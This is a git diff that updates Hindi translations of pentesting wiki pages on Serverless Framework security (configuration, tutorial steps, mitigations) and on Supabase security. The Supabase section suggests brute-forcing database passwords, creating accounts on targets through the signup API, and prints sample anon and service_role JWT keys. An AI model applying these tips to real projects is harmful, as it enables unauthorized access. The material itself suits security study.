व्यक्तिगत कार्य सेटिंग्स के अंतर्गत प्रबंधित किया जाता है। ```yaml provider: [...] @@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- पर्यावरण चर -**चर** आपको अपने कार्यों को कॉन्फ़िगरेशन सेटिंग्स और रहस्यों को बिना हार्डकोड किए पास करने की अनुमति देते हैं। इन्हें प्रदाता या व्यक्तिगत कार्यों के लिए `environment` अनुभाग के तहत परिभाषित किया जाता है। +**चर** आपको अपने कार्यों में कॉन्फ़िगरेशन सेटिंग्स और रहस्यों को हार्डकोड किए बिना पास करने की अनुमति देते हैं। इन्हें प्रदाता या व्यक्तिगत कार्यों के लिए `environment` अनुभाग के तहत परिभाषित किया जाता है। ```yaml provider: environment: @@ -243,7 +243,7 @@ TABLE_NAME: ${self:custom.tableName} Dependencies -**Dependencies** आपके फ़ंक्शंस के लिए आवश्यक बाहरी पुस्तकालयों और मॉड्यूलों का प्रबंधन करते हैं। इन्हें आमतौर पर npm या pip जैसे पैकेज प्रबंधकों के माध्यम से संभाला जाता है, और `serverless-webpack` जैसे उपकरणों या प्लगइनों का उपयोग करके आपके डिप्लॉयमेंट पैकेज के साथ बंडल किया जाता है। +**Dependencies** आपके फ़ंक्शंस के लिए आवश्यक बाहरी पुस्तकालयों और मॉड्यूलों का प्रबंधन करते हैं। इन्हें आमतौर पर npm या pip जैसे पैकेज प्रबंधकों के माध्यम से संभाला जाता है, और `serverless-webpack` जैसे उपकरणों या प्लगइन्स का उपयोग करके आपके डिप्लॉयमेंट पैकेज के साथ बंडल किया जाता है। ```yaml plugins: - serverless-webpack @@ -254,7 +254,7 @@ plugins: हुक -**हुक** आपको परिनियोजन जीवनचक्र के विशिष्ट बिंदुओं पर कस्टम स्क्रिप्ट या कमांड चलाने की अनुमति देते हैं। इन्हें प्लगइन्स का उपयोग करके या `serverless.yml` के भीतर परिभाषित किया जाता है ताकि परिनियोजन से पहले या बाद में क्रियाएँ की जा सकें। +**हुक** आपको परिनियोजन जीवनचक्र के विशिष्ट बिंदुओं पर कस्टम स्क्रिप्ट या कमांड चलाने की अनुमति देते हैं। उन्हें प्लगइन्स का उपयोग करके या `serverless.yml` के भीतर परिभाषित किया जाता है ताकि परिनियोजन से पहले या बाद में क्रियाएँ की जा सकें। ```yaml custom: hooks: @@ -262,7 +262,7 @@ before:deploy:deploy: echo "Starting deployment..." ```
-### Tutorial +### ट्यूटोरियल यह आधिकारिक ट्यूटोरियल का सारांश है [**from the docs**](https://www.serverless.com/framework/docs/tutorial): @@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` -यह एक **app** बनाना चाहिए था जिसका नाम `tutorialapp` है, जिसे आप [serverless.com](serverless.com-security.md) में देख सकते हैं और एक फ़ोल्डर बनाना चाहिए था जिसका नाम `Tutorial` है जिसमें फ़ाइल **`handler.js`** है जिसमें कुछ JS कोड है जिसमें `helloworld` कोड है और फ़ाइल **`serverless.yml`** है जो उस फ़ंक्शन की घोषणा करती है: +यह एक **ऐप** `tutorialapp` बनाना चाहिए था जिसे आप [serverless.com](serverless.com-security.md) में देख सकते हैं और एक फ़ोल्डर `Tutorial` के साथ जिसमें **`handler.js`** फ़ाइल है जिसमें कुछ JS कोड है जिसमें `helloworld` कोड है और **`serverless.yml`** फ़ाइल है जो उस फ़ंक्शन की घोषणा करती है: {{#tabs }} {{#tab name="handler.js" }} @@ -325,7 +325,7 @@ method: get 4. एक AWS प्रदाता बनाएं, **डैशबोर्ड** में जाकर `https://app.serverless.com//settings/providers?providerId=new&provider=aws`। 1. `serverless.com` को AWS तक पहुंच देने के लिए यह इस कॉन्फ़िग फ़ाइल का उपयोग करके एक क्लाउडफॉर्मेशन स्टैक चलाने के लिए कहेगा (इस लेख के समय): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) -2. यह टेम्पलेट **`SFRole-`** नामक एक भूमिका उत्पन्न करता है जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** उस खाते पर है जिसमें एक ट्रस्ट आइडेंटिटी है जो `Serverless.com` AWS खाते को भूमिका तक पहुंचने की अनुमति देती है। +2. यह टेम्पलेट **`SFRole-`** नामक एक भूमिका उत्पन्न करता है जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** उस खाते पर है जिसमें एक ट्रस्ट पहचान है जो `Serverless.com` AWS खाते को भूमिका तक पहुंचने की अनुमति देती है।
@@ -399,7 +399,7 @@ Type: String ```
-5. ट्यूटोरियल `createCustomer.js` फ़ाइल बनाने के लिए कहता है, जो मूल रूप से एक नया API एंडपॉइंट बनाएगा जिसे नए JS फ़ाइल द्वारा संभाला जाएगा और `serverless.yml` फ़ाइल को संशोधित करने के लिए कहता है ताकि यह एक **नया DynamoDB तालिका** उत्पन्न करे, एक **पर्यावरण चर** परिभाषित करे, और उस भूमिका को परिभाषित करे जो उत्पन्न लैंब्डा का उपयोग करेगी। +5. ट्यूटोरियल में `createCustomer.js` फ़ाइल बनाने के लिए कहा गया है, जो मूल रूप से एक नया API एंडपॉइंट बनाएगा जिसे नए JS फ़ाइल द्वारा संभाला जाएगा और `serverless.yml` फ़ाइल को संशोधित करने के लिए कहा गया है ताकि यह एक **नया DynamoDB तालिका** उत्पन्न करे, एक **पर्यावरण चर** परिभाषित करे, और उस भूमिका को परिभाषित करे जो उत्पन्न लैंब्डा का उपयोग करेगी। {{#tabs }} {{#tab name="createCustomer.js" }} @@ -551,12 +551,12 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- ### **असुरक्षित रहस्य और कॉन्फ़िगरेशन प्रबंधन** -संवेदनशील जानकारी (जैसे, API कुंजी, डेटाबेस क्रेडेंशियल) को सीधे **`serverless.yml`** या कोड में स्टोर करना जोखिम भरा हो सकता है यदि रिपॉजिटरी से समझौता किया जाता है। +संवेदनशील जानकारी (जैसे, API कुंजी, डेटाबेस क्रेडेंशियल) को सीधे **`serverless.yml`** या कोड में संग्रहीत करने से जोखिम हो सकता है यदि रिपॉजिटरी से समझौता किया जाता है। -**`serverless.yml`** फ़ाइल में पर्यावरण चर को स्टोर करने का **सिफारिश की गई** विधि serverless.com से (इस लेख के समय) `ssm` या `s3` प्रदाताओं का उपयोग करना है, जो **तैनाती के समय इन स्रोतों से पर्यावरण मान प्राप्त करने** और **लैम्ब्डा** के पर्यावरण चर को **मानों के स्पष्ट पाठ के साथ कॉन्फ़िगर** करने की अनुमति देता है! +**`serverless.yml`** फ़ाइल में पर्यावरण चर को संग्रहीत करने का **सिफारिश की गई** विधि serverless.com से (इस लेख के समय) `ssm` या `s3` प्रदाताओं का उपयोग करना है, जो **तैनाती के समय इन स्रोतों से पर्यावरण मान प्राप्त करने** और **lambdas** पर्यावरण चर को **मानों के स्पष्ट पाठ के साथ कॉन्फ़िगर** करने की अनुमति देता है! > [!CAUTION] -> इसलिए, AWS के अंदर लैम्ब्डा की कॉन्फ़िगरेशन पढ़ने के लिए अनुमतियाँ रखने वाला कोई भी व्यक्ति **इन सभी पर्यावरण चर को स्पष्ट पाठ में एक्सेस कर सकेगा!** +> इसलिए, AWS के अंदर lambdas कॉन्फ़िगरेशन को पढ़ने के लिए अनुमतियाँ रखने वाला कोई भी व्यक्ति **इन सभी पर्यावरण चर को स्पष्ट पाठ में एक्सेस कर सकेगा!** उदाहरण के लिए, निम्नलिखित उदाहरण SSM का उपयोग करके एक पर्यावरण चर प्राप्त करेगा: ```yaml @@ -564,26 +564,26 @@ provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. +और भले ही यह **`serverless.yml`** फ़ाइल में पर्यावरण चर मान को हार्डकोड करने से रोकता है, मान तैनाती के समय प्राप्त किया जाएगा और **लैम्ब्डा पर्यावरण चर के अंदर स्पष्ट पाठ में जोड़ा जाएगा**। > [!TIP] -> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**. +> serveless.com का उपयोग करके पर्यावरण चर को स्टोर करने का अनुशंसित तरीका **AWS सीक्रेट में स्टोर करना** होगा और बस पर्यावरण चर में सीक्रेट नाम को स्टोर करना और **लैम्ब्डा कोड को इसे इकट्ठा करना चाहिए**। -#### **Mitigation Strategies** +#### **निवारण रणनीतियाँ** -- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.** -- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data. -- **Access Controls:** Restrict access to secrets based on roles. +- **सीक्रेट्स मैनेजर इंटीग्रेशन:** **AWS Secrets Manager** जैसी सेवाओं का उपयोग करें। +- **एन्क्रिप्टेड वेरिएबल्स:** संवेदनशील डेटा के लिए Serverless Framework की एन्क्रिप्शन सुविधाओं का लाभ उठाएं। +- **एक्सेस कंट्रोल:** भूमिकाओं के आधार पर सीक्रेट्स तक पहुंच को प्रतिबंधित करें। --- -### **Vulnerable Code and Dependencies** +### **कमजोर कोड और निर्भरताएँ** -Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks. +पुरानी या असुरक्षित निर्भरताएँ कमजोरियों को पेश कर सकती हैं, जबकि अनुचित इनपुट हैंडलिंग कोड इंजेक्शन हमलों का कारण बन सकती है। -#### **Mitigation Strategies** +#### **निवारण रणनीतियाँ** -- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. +- **निर्भरता प्रबंधन:** नियमित रूप से निर्भरताओं को अपडेट करें और कमजोरियों के लिए स्कैन करें। ```yaml plugins: @@ -591,38 +591,38 @@ plugins: - serverless-plugin-snyk ``` -- **Input Validation:** Implement strict validation and sanitization of all inputs. -- **Code Reviews:** Conduct thorough reviews to identify security flaws. -- **Static Analysis:** Use tools to detect vulnerabilities in the codebase. +- **इनपुट मान्यता:** सभी इनपुट की सख्त मान्यता और सफाई लागू करें। +- **कोड समीक्षाएँ:** सुरक्षा दोषों की पहचान के लिए गहन समीक्षाएँ करें। +- **स्टेटिक एनालिसिस:** कोडबेस में कमजोरियों का पता लगाने के लिए उपकरणों का उपयोग करें। --- -### **Inadequate Logging and Monitoring** +### **अपर्याप्त लॉगिंग और मॉनिटरिंग** -Without proper logging and monitoring, malicious activities may go undetected, delaying incident response. +सही लॉगिंग और मॉनिटरिंग के बिना, दुर्भावनापूर्ण गतिविधियाँ अनदेखी रह सकती हैं, जिससे घटना प्रतिक्रिया में देरी हो सकती है। -#### **Mitigation Strategies** +#### **निवारण रणनीतियाँ** -- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. +- **केंद्रीकृत लॉगिंग:** **AWS CloudWatch** या **Datadog** जैसी सेवाओं का उपयोग करके लॉग को एकत्रित करें। ```yaml plugins: - serverless-plugin-datadog ``` -- **Enable Detailed Logging:** Capture essential information without exposing sensitive data. -- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. -- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents. +- **विस्तृत लॉगिंग सक्षम करें:** संवेदनशील डेटा को उजागर किए बिना आवश्यक जानकारी कैप्चर करें। +- **अलर्ट सेट करें:** संदिग्ध गतिविधियों या विसंगतियों के लिए अलर्ट कॉन्फ़िगर करें। +- **नियमित मॉनिटरिंग:** संभावित सुरक्षा घटनाओं के लिए लॉग और मैट्रिक्स की निरंतर निगरानी करें। --- -### **Insecure API Gateway Configurations** +### **असुरक्षित API गेटवे कॉन्फ़िगरेशन** -Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks. +खुले या अनुचित रूप से सुरक्षित APIs का दुरुपयोग अनधिकृत पहुंच, सेवा से इनकार (DoS) हमलों, या क्रॉस-साइट हमलों के लिए किया जा सकता है। -#### **Mitigation Strategies** +#### **निवारण रणनीतियाँ** -- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. +- **प्रमाणीकरण और प्राधिकरण:** OAuth, API कुंजी, या JWT जैसे मजबूत तंत्र लागू करें। ```yaml functions: @@ -635,7 +635,7 @@ method: get authorizer: aws_iam ``` -- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. +- **रेट लिमिटिंग और थ्रॉटलिंग:** अनुरोध दरों को सीमित करके दुरुपयोग को रोकें। ```yaml provider: @@ -645,7 +645,7 @@ burstLimit: 200 rateLimit: 100 ``` -- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. +- **सुरक्षित CORS कॉन्फ़िगरेशन:** अनुमत मूल, विधियों और हेडरों को प्रतिबंधित करें। ```yaml functions: @@ -661,23 +661,152 @@ headers: - Content-Type ``` -- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. +- **वेब एप्लिकेशन फ़ायरवॉल (WAF) का उपयोग करें:** दुर्भावनापूर्ण पैटर्न के लिए HTTP अनुरोधों को फ़िल्टर और मॉनिटर करें। --- -### **Insufficient Function Isolation** +### **अपर्याप्त फ़ंक्शन अलगाव** -Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions. +साझा संसाधन और अपर्याप्त अलगाव विशेषाधिकार वृद्धि या कार्यों के बीच अनपेक्षित इंटरैक्शन का कारण बन सकते हैं। -#### **Mitigation Strategies** +#### **निवारण रणनीतियाँ** -- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation. -- **Resource Partitioning:** Use separate databases or storage buckets for different functions. -- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. +- **फंक्शंस को अलग करें:** स्वतंत्र संचालन सुनिश्चित करने के लिए विशिष्ट संसाधनों और IAM भूमिकाओं को असाइन करें। +- **संसाधन विभाजन:** विभिन्न कार्यों के लिए अलग डेटाबेस या स्टोरेज बकेट का उपयोग करें। +- **VPCs का उपयोग करें:** नेटवर्क अलगाव को बढ़ाने के लिए कार्यों को वर्चुअल प्राइवेट क्लाउड में तैनात करें। ```yaml provider: vpc: securityGroupIds: - sg-xxxxxxxx -sub +subnetIds: +- subnet-xxxxxx +``` + +- **फंक्शन अनुमतियों को सीमित करें:** सुनिश्चित करें कि कार्य एक-दूसरे के संसाधनों तक पहुंच या हस्तक्षेप नहीं कर सकते जब तक कि स्पष्ट रूप से आवश्यक न हो। + +--- + +### **अपर्याप्त डेटा सुरक्षा** + +आराम या ट्रांजिट में बिना एन्क्रिप्टेड डेटा को उजागर किया जा सकता है, जिससे डेटा उल्लंघन या छेड़छाड़ हो सकती है। + +#### **निवारण रणनीतियाँ** + +- **आराम में डेटा एन्क्रिप्ट करें:** क्लाउड सेवा एन्क्रिप्शन सुविधाओं का उपयोग करें। + +```yaml +resources: +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +SSESpecification: +SSEEnabled: true +``` + +- **ट्रांजिट में डेटा एन्क्रिप्ट करें:** सभी डेटा ट्रांसमिशन के लिए HTTPS/TLS का उपयोग करें। +- **API संचार को सुरक्षित करें:** एन्क्रिप्शन प्रोटोकॉल लागू करें और प्रमाणपत्रों को मान्य करें। +- **एन्क्रिप्शन कुंजियों का सुरक्षित प्रबंधन करें:** प्रबंधित कुंजी सेवाओं का उपयोग करें और नियमित रूप से कुंजियों को घुमाएँ। + +--- + +### **सही त्रुटि हैंडलिंग की कमी** + +विस्तृत त्रुटि संदेश बुनियादी ढांचे या कोडबेस के बारे में संवेदनशील जानकारी को उजागर कर सकते हैं, जबकि अनहैंडल्ड अपवाद एप्लिकेशन क्रैश का कारण बन सकते हैं। + +#### **निवारण रणनीतियाँ** + +- **सामान्य त्रुटि संदेश:** त्रुटि प्रतिक्रियाओं में आंतरिक विवरण को उजागर करने से बचें। + +```javascript +javascriptCopy code// Example in Node.js +exports.hello = async (event) => { +try { +// Function logic +} catch (error) { +console.error(error); +return { +statusCode: 500, +body: JSON.stringify({ message: 'Internal Server Error' }), +}; +} +}; +``` + +- **केंद्रीकृत त्रुटि हैंडलिंग:** सभी कार्यों में त्रुटियों को लगातार प्रबंधित और साफ करें। +- **त्रुटियों की निगरानी और लॉगिंग करें:** अंत-उपयोगकर्ताओं को विवरण उजागर किए बिना आंतरिक रूप से त्रुटियों को ट्रैक और विश्लेषण करें। + +--- + +### **असुरक्षित तैनाती प्रथाएँ** + +खुले तैनाती कॉन्फ़िगरेशन या CI/CD पाइपलाइनों तक अनधिकृत पहुंच दुर्भावनापूर्ण कोड तैनात करने या गलत कॉन्फ़िगरेशन का कारण बन सकती है। + +#### **निवारण रणनीतियाँ** + +- **सुरक्षित CI/CD पाइपलाइन्स:** सख्त एक्सेस नियंत्रण, मल्टी-फैक्टर प्रमाणीकरण (MFA), और नियमित ऑडिट लागू करें। +- **कॉन्फ़िगरेशन को सुरक्षित रूप से स्टोर करें:** तैनाती फ़ाइलों को हार्डकोडेड सीक्रेट्स और संवेदनशील डेटा से मुक्त रखें। +- **इन्फ्रास्ट्रक्चर ऐज़ कोड (IaC) सुरक्षा उपकरणों का उपयोग करें:** सुरक्षा नीतियों को लागू करने के लिए **Checkov** या **Terraform Sentinel** जैसे उपकरणों का उपयोग करें। +- **अपरिवर्तनीय तैनाती:** अपरिवर्तनीय बुनियादी ढांचे की प्रथाओं को अपनाकर तैनाती के बाद अनधिकृत परिवर्तनों को रोकें। + +--- + +### **प्लगइन्स और एक्सटेंशन में कमजोरियाँ** + +अन्यथा अप्रूव्ड या दुर्भावनापूर्ण तृतीय-पक्ष प्लगइन्स का उपयोग आपके सर्वरलेस अनुप्रयोगों में कमजोरियाँ पेश कर सकता है। + +#### **निवारण रणनीतियाँ** + +- **प्लगइन्स की अच्छी तरह से जांच करें:** एकीकरण से पहले प्लगइन्स की सुरक्षा का आकलन करें, प्रतिष्ठित स्रोतों से उन पर प्राथमिकता दें। +- **प्लगइन उपयोग को सीमित करें:** हमले की सतह को कम करने के लिए केवल आवश्यक प्लगइन्स का उपयोग करें। +- **प्लगइन अपडेट की निगरानी करें:** सुरक्षा पैचों का लाभ उठाने के लिए प्लगइन्स को अपडेट रखें। +- **प्लगइन वातावरण को अलग करें:** संभावित समझौतों को सीमित करने के लिए प्लगइन्स को अलग वातावरण में चलाएँ। + +--- + +### **संवेदनशील एंडपॉइंट्स का उजागर होना** + +सार्वजनिक रूप से सुलभ कार्य या अनियंत्रित APIs का दुरुपयोग अनधिकृत संचालन के लिए किया जा सकता है। + +#### **निवारण रणनीतियाँ** + +- **कार्य पहुंच को प्रतिबंधित करें:** विश्वसनीय स्रोतों तक पहुंच को सीमित करने के लिए VPCs, सुरक्षा समूहों, और फ़ायरवॉल नियमों का उपयोग करें। +- **मजबूत प्रमाणीकरण लागू करें:** सुनिश्चित करें कि सभी उजागर एंडपॉइंट्स को उचित प्रमाणीकरण और प्राधिकरण की आवश्यकता है। +- **API गेटवे का सुरक्षित उपयोग करें:** सुरक्षा नीतियों को लागू करने के लिए API गेटवे को कॉन्फ़िगर करें, जिसमें इनपुट मान्यता और दर सीमित करना शामिल है। +- **अप्रयुक्त एंडपॉइंट्स को बंद करें:** नियमित रूप से समीक्षा करें और किसी भी एंडपॉइंट को बंद करें जो अब उपयोग में नहीं है। + +--- + +### **टीम के सदस्यों और बाहरी सहयोगियों के लिए अत्यधिक अनुमतियाँ** + +टीम के सदस्यों और बाहरी सहयोगियों को अत्यधिक अनुमतियाँ देना अनधिकृत पहुंच, डेटा उल्लंघन, और संसाधनों के दुरुपयोग का कारण बन सकता है। यह जोखिम उन वातावरणों में बढ़ जाता है जहाँ कई व्यक्तियों के पास विभिन्न स्तरों की पहुंच होती है, जिससे हमले की सतह और आंतरिक खतरों की संभावना बढ़ जाती है। + +#### **निवारण रणनीतियाँ** + +- **कम से कम विशेषाधिकार का सिद्धांत:** सुनिश्चित करें कि टीम के सदस्यों और सहयोगियों के पास केवल वही अनुमतियाँ हों जो उनके कार्यों को पूरा करने के लिए आवश्यक हैं। + +--- + +### **एक्सेस कुंजी और लाइसेंस कुंजी सुरक्षा** + +**एक्सेस कुंजी** और **लाइसेंस कुंजी** महत्वपूर्ण प्रमाणपत्र हैं जो Serverless Framework CLI के साथ इंटरैक्शन को प्रमाणित और अधिकृत करने के लिए उपयोग किए जाते हैं। + +- **लाइसेंस कुंजी:** ये अद्वितीय पहचानकर्ता हैं जो Serverless Framework संस्करण 4 तक पहुंच को प्रमाणित करने के लिए आवश्यक हैं, जो CLI के माध्यम से लॉगिन की अनुमति देता है। +- **एक्सेस कुंजी:** प्रमाणपत्र जो Serverless Framework CLI को Serverless Framework डैशबोर्ड के साथ प्रमाणित करने की अनुमति देती हैं। जब `serverless` CLI के साथ लॉगिन किया जाता है, तो एक एक्सेस कुंजी **जनरेट और लैपटॉप में स्टोर की जाएगी**। आप इसे `SERVERLESS_ACCESS_KEY` नामक पर्यावरण चर के रूप में भी सेट कर सकते हैं। + +#### **सुरक्षा जोखिम** + +1. **कोड रिपॉजिटरी के माध्यम से उजागर होना:** +- एक्सेस कुंजी और लाइसेंस कुंजी को हार्डकोड करना या गलती से संस्करण नियंत्रण प्रणालियों में कमिट करना अनधिकृत पहुंच का कारण बन सकता है। +2. **असुरक्षित भंडारण:** +- उचित एन्क्रिप्शन के बिना पर्यावरण चर या कॉन्फ़िगरेशन फ़ाइलों में कुंजियों को स्पष्ट पाठ में स्टोर करना लीक होने की संभावना को बढ़ाता है। +3. **अनुचित वितरण:** +- असुरक्षित चैनलों (जैसे, ईमेल, चैट) के माध्यम से कुंजियों को साझा करना दुर्भावनापूर्ण तत्वों द्वारा इंटरसेप्शन का परिणाम हो सकता है। +4. **घुमाव की कमी:** +- कुंजियों को नियमित रूप से घुमाने में विफलता यदि कुंजियाँ समझौता की जाती हैं तो एक्सपोज़र अवधि को बढ़ा देती है। +5. **अत्यधिक अनुमतियाँ:** +- व्यापक अनुमतियों वाली कुंजियों का दुरुपयोग किया जा सकता है ताकि कई संसाधनों में अनधिकृत क्रियाएँ की जा सकें। + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index a1cff83c1..c2e172b47 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -1,49 +1,49 @@ -# Supabase Security +# Supabase सुरक्षा {{#include ../banners/hacktricks-training.md}} -## Basic Information +## मूल जानकारी -As per their [**landing page**](https://supabase.com/): Supabase एक ओपन सोर्स Firebase विकल्प है। अपने प्रोजेक्ट को Postgres डेटाबेस, Authentication, इंस्टेंट APIs, Edge Functions, Realtime subscriptions, Storage, और Vector embeddings के साथ शुरू करें। +उनके [**लैंडिंग पृष्ठ**](https://supabase.com/) के अनुसार: Supabase एक ओपन-सोर्स Firebase विकल्प है। अपने प्रोजेक्ट को एक Postgres डेटाबेस, प्रमाणीकरण, तात्कालिक APIs, Edge Functions, रीयलटाइम सब्सक्रिप्शन, स्टोरेज, और वेक्टर एम्बेडिंग के साथ शुरू करें। -### Subdomain +### उपडोमेन बुनियादी रूप से जब एक प्रोजेक्ट बनाया जाता है, तो उपयोगकर्ता को एक supabase.co उपडोमेन प्राप्त होगा जैसे: **`jnanozjdybtpqgcwhdiz.supabase.co`** -## **Database configuration** +## **डेटाबेस कॉन्फ़िगरेशन** > [!TIP] -> **यह डेटा एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/database`** +> **इस डेटा को एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/database`** यह **डेटाबेस** कुछ AWS क्षेत्र में तैनात किया जाएगा, और इससे कनेक्ट करने के लिए इसे कनेक्ट करना संभव होगा: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (यह us-west-1 में बनाया गया था)।\ -पासवर्ड एक **पासवर्ड है जो उपयोगकर्ता ने पहले डाला था**। +पासवर्ड वह **पासवर्ड है जो उपयोगकर्ता ने पहले डाला था**। -इसलिए, चूंकि उपडोमेन एक ज्ञात है और इसका उपयोग उपयोगकर्ता नाम के रूप में किया जाता है और AWS क्षेत्र सीमित हैं, इसलिए **पासवर्ड को ब्रूट फोर्स करने** का प्रयास करना संभव हो सकता है। +इसलिए, चूंकि उपडोमेन एक ज्ञात है और इसका उपयोग उपयोगकर्ता नाम के रूप में किया जाता है और AWS क्षेत्र सीमित हैं, यह संभव हो सकता है कि **पासवर्ड को ब्रूट फोर्स करने की कोशिश की जाए**। इस अनुभाग में निम्नलिखित विकल्प भी शामिल हैं: - डेटाबेस पासवर्ड रीसेट करें - कनेक्शन पूलिंग कॉन्फ़िगर करें -- SSL कॉन्फ़िगर करें: प्लेन-टेक्स्ट कनेक्शनों को अस्वीकार करें (डिफ़ॉल्ट रूप से ये सक्षम हैं) +- SSL कॉन्फ़िगर करें: प्लेन-टेक्स्ट कनेक्शनों को अस्वीकार करें (डिफ़ॉल्ट रूप से ये सक्षम होते हैं) - डिस्क आकार कॉन्फ़िगर करें - नेटवर्क प्रतिबंध और प्रतिबंध लागू करें -## API Configuration +## API कॉन्फ़िगरेशन > [!TIP] -> **यह डेटा एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/api`** +> **इस डेटा को एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/api`** -आपके प्रोजेक्ट में supabase API तक पहुँचने के लिए URL होगा: `https://jnanozjdybtpqgcwhdiz.supabase.co`। +आपके प्रोजेक्ट में Supabase API तक पहुँचने के लिए URL होगा: `https://jnanozjdybtpqgcwhdiz.supabase.co`। -### anon api keys +### एनोन API कुंजी -यह एक **anon API key** (`role: "anon"`), जैसे: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` उत्पन्न करेगा जिसे एप्लिकेशन को API कुंजी से संपर्क करने के लिए उपयोग करने की आवश्यकता होगी जो हमारे उदाहरण में उजागर की गई है। +यह एक **एनोन API कुंजी** (`role: "anon"`), जैसे: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` उत्पन्न करेगा, जिसका उपयोग एप्लिकेशन को हमारे उदाहरण में प्रदर्शित API कुंजी से संपर्क करने के लिए करना होगा। -इस API से संपर्क करने के लिए API REST को [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) में पाया जा सकता है, लेकिन सबसे दिलचस्प एंडपॉइंट होंगे: +इस API से संपर्क करने के लिए API REST को [**डॉक्स**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) में पाया जा सकता है, लेकिन सबसे दिलचस्प एंडपॉइंट होंगे:
-Signup (/auth/v1/signup) +साइनअप (/auth/v1/signup) ``` POST /auth/v1/signup HTTP/2 Host: id.io.net @@ -99,34 +99,34 @@ Priority: u=1, i ```
-तो, जब भी आप किसी क्लाइंट को सुपाबेस का उपयोग करते हुए पाते हैं, जो उन्हें दिए गए उपडोमेन का उपयोग कर रहा है (यह संभव है कि कंपनी का एक उपडोमेन उनके सुपाबेस उपडोमेन पर CNAME हो), आप **सुपाबेस API का उपयोग करके प्लेटफॉर्म में एक नया खाता बनाने की कोशिश कर सकते हैं**। +तो, जब भी आप किसी क्लाइंट को supabase का उपयोग करते हुए पाते हैं, जो उपडोमेन उन्हें दिया गया है (यह संभव है कि कंपनी का एक उपडोमेन उनके supabase उपडोमेन पर CNAME हो), आप **supabase API का उपयोग करके प्लेटफॉर्म में एक नया खाता बनाने की कोशिश कर सकते हैं**। ### गुप्त / सेवा_भूमिका API कुंजी -एक गुप्त API कुंजी भी **`role: "service_role"`** के साथ उत्पन्न होगी। यह API कुंजी गुप्त होनी चाहिए क्योंकि यह **रो स्तर सुरक्षा** को बायपास कर सकेगी। +एक गुप्त API कुंजी भी **`role: "service_role"`** के साथ उत्पन्न होगी। यह API कुंजी गुप्त होनी चाहिए क्योंकि यह **Row Level Security** को बायपास कर सकेगी। API कुंजी इस तरह दिखती है: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` ### JWT गुप्त -एक **JWT गुप्त** भी उत्पन्न होगा ताकि एप्लिकेशन **कस्टम JWT टोकन बना और हस्ताक्षरित कर सके**। +एक **JWT गुप्त** भी उत्पन्न होगा ताकि एप्लिकेशन **कस्टम JWT टोकन बना और साइन कर सके**। ## प्रमाणीकरण ### साइनअप > [!TIP] -> **डिफ़ॉल्ट** के अनुसार, सुपाबेस आपके प्रोजेक्ट पर **नए उपयोगकर्ताओं को खाते बनाने** की अनुमति देगा, जो पहले उल्लेखित API एंडपॉइंट्स का 